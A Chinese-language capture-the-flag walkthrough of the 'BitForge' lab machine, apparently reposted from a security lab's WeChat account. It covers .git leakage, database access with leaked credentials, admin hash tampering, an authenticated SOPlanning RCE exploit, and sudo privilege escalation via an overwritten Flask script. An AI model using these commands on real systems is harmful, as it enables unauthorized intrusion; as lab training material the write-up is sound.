PG_BitForge

admin 2025年4月16日13:40:26评论7 views字数 3960阅读13分12秒阅读模式

信息收集:

root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.233.186Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-01 19:32 CSTNmap scan report for 192.168.233.186Host is up (0.0033s latency).Not shown: 65531 filtered portsPORT     STATE  SERVICE     VERSION22/tcp   open   ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)80/tcp   open   http        Apache httpd| http-git: |   192.168.233.186:80/.git/|     Git repository found!|     .git/config matched patterns 'user'|     Repository description: Unnamed repository; edit this file 'description' to name the...|_    Last commit message: created .env to store the database configuration |_http-server-header: Apache|_http-title: Did not follow redirect to http://bitforge.lab/3306/tcp open   nagios-nsca Nagios NSCA| mysql-info: |   Protocol: 10|   Version: 8.0.40-0ubuntu0.24.04.1|   Thread ID: 17|   Capabilities flags: 65535|   Some Capabilities: ConnectWithDatabase, Speaks41ProtocolOld, ODBCClient, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, SwitchToSSLAfterHandshake, Support41Auth, InteractiveClient, SupportsCompression, SupportsTransactions, Speaks41ProtocolNew, IgnoreSigpipes, LongPassword, LongColumnFlag, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins|   Status: Autocommit|   Salt: x05RuP| ^%y((`zmBsANix0F%|_  Auth Plugin Name: caching_sha2_password9000/tcp closed cslistenerAggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirOS 5.5.9 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%), Infomir MAG-250 set-top box (89%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (89%), Linux 3.7 (89%)No exact OS matches for host (test conditions non-ideal).Network Distance: 4 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 9000/tcp)HOP RTT     ADDRESS1   2.09 ms 192.168.45.12   2.10 ms 192.168.45.2543   3.18 ms 192.168.251.14   3.26 ms 192.168.233.186OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 132.81 seconds

开放了80的http端口,nmap显示存在.git泄露,利用githack工具拿到源码

PG_BitForge

观察index代码可以发现网站有host检测

PG_BitForge

页面登陆点是个假的,既然存在.git泄露,并且开放了3306端口,我尝试在.git文件中尝试翻找

点击这个会跳转到plan.bitforge.lab,需要添加入hosts访问(这个看了hints,没想到。。。

PG_BitForge

调转到功能点,经过尝试不是静态的(假的

PG_BitForge

检索漏洞

PG_BitForge

有一个需要认证的rce,弱口令登录失败,想起之前在.git/config收集到了邮箱和名字信息

PG_BitForge
wget -r -np -nH --cut-dirs=1 -R "index.html*" http://bitforge.lab/.git/

成功下载下来git仓库文件

PG_BitForge

把这些版本一个一个show出来,在18833b811e967ab8bec631344a6809aa4af59480找到数据库连接信息

+$dbHost = 'localhost'; // Change if your database is hosted elsewhere+$dbName = 'bitforge_customer_db';+$username = 'BitForgeAdmin';+$password = 'B1tForG3S0ftw4r3S0lutions';
PG_BitForge

使用mysql连接,需要加上参数--skip-ssl,不然会报错

mysql -h192.168.233.186 -uBitForgeAdmin -pB1tForG3S0ftw4r3S0lutions --skip-ssl
PG_BitForge

根据配置文件, 用户信息的表

PG_BitForge

找到admin的密码信息

PG_BitForge

首先对该hash进行识别,为sha1类型,cmd5没解出来

PG_BitForge

使用mysql直接修改admin的密码为admin进行sha1加密后的值

update planning_user set password='d033e22ae348aeb5660fc2140aec35850c4da997'where user_id='ADM' and login='admin';

成功修改

PG_BitForge

但是使用admin/admin登录失败了,soplanning是开源的,在github翻找源代码的加密逻辑(这里看了hints

https://github.com/Worteks/soplanning

PG_BitForge

我通过对源代码加密逻辑的分析写出加密代码

<?phpfunction hashPassword($password){return sha1("¤" . $password . "¤");    //return sha1("�" . $password . "�");}$a = 'admin';echo hashPassword($a);
PG_BitForge

尝试替换,并不能登录系统

update planning_user set password='7008083373fad359533bfd02d6b76c0c2cda11e2'where user_id='ADM' and login='admin';

在github仓库文件:includes/demo_data.inc,找到了加盐后的密码

https://github.com/Worteks/soplanning/blob/master/includes/demo_data.inc#L9

PG_BitForge
update planning_user set password='df5b909019c9b1659e86e0d6bf8da81d6fa3499e'where user_id='ADM' and login='admin';

使用admin/admin成功登录系统

PG_BitForge

同时也确定了版本号:SOPlanning 1.52.01

用之前找的需要认证的RCE exp成功getshell

python3 52082.py -t http://plan.bitforge.lab/www/ -u admin -p admin 
PG_BitForge

先反弹shell

使用lse.sh -l1命令信息收集找到了jack用户的密码:j4cKF0rg3@445

PG_BitForge

拿到local

PG_BitForge

sudo -l发现jack用户可以无密码执行/usr/bin/flask_password_changer

PG_BitForge

没见过的命令-h的时候发现应该是个py的flask启动脚本

PG_BitForge

ctrl+c让shell断了,但是这时候我们有jack的密码,直接ssh连接就行

PG_BitForge

看一下这个flask

PG_BitForge

将os命令写入文件,sudo执行flask_password_changer,成功提权

echo'import os; os.system("/bin/bash")' > /opt/password_change_app/app.pysudo flask_password_changer
PG_BitForge

拿到proof

PG_BitForge

原文始发于微信公众号(EuSRC安全实验室):PG_BitForge

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月16日13:40:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PG_BitForgehttp://cn-sec.com/archives/3964110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息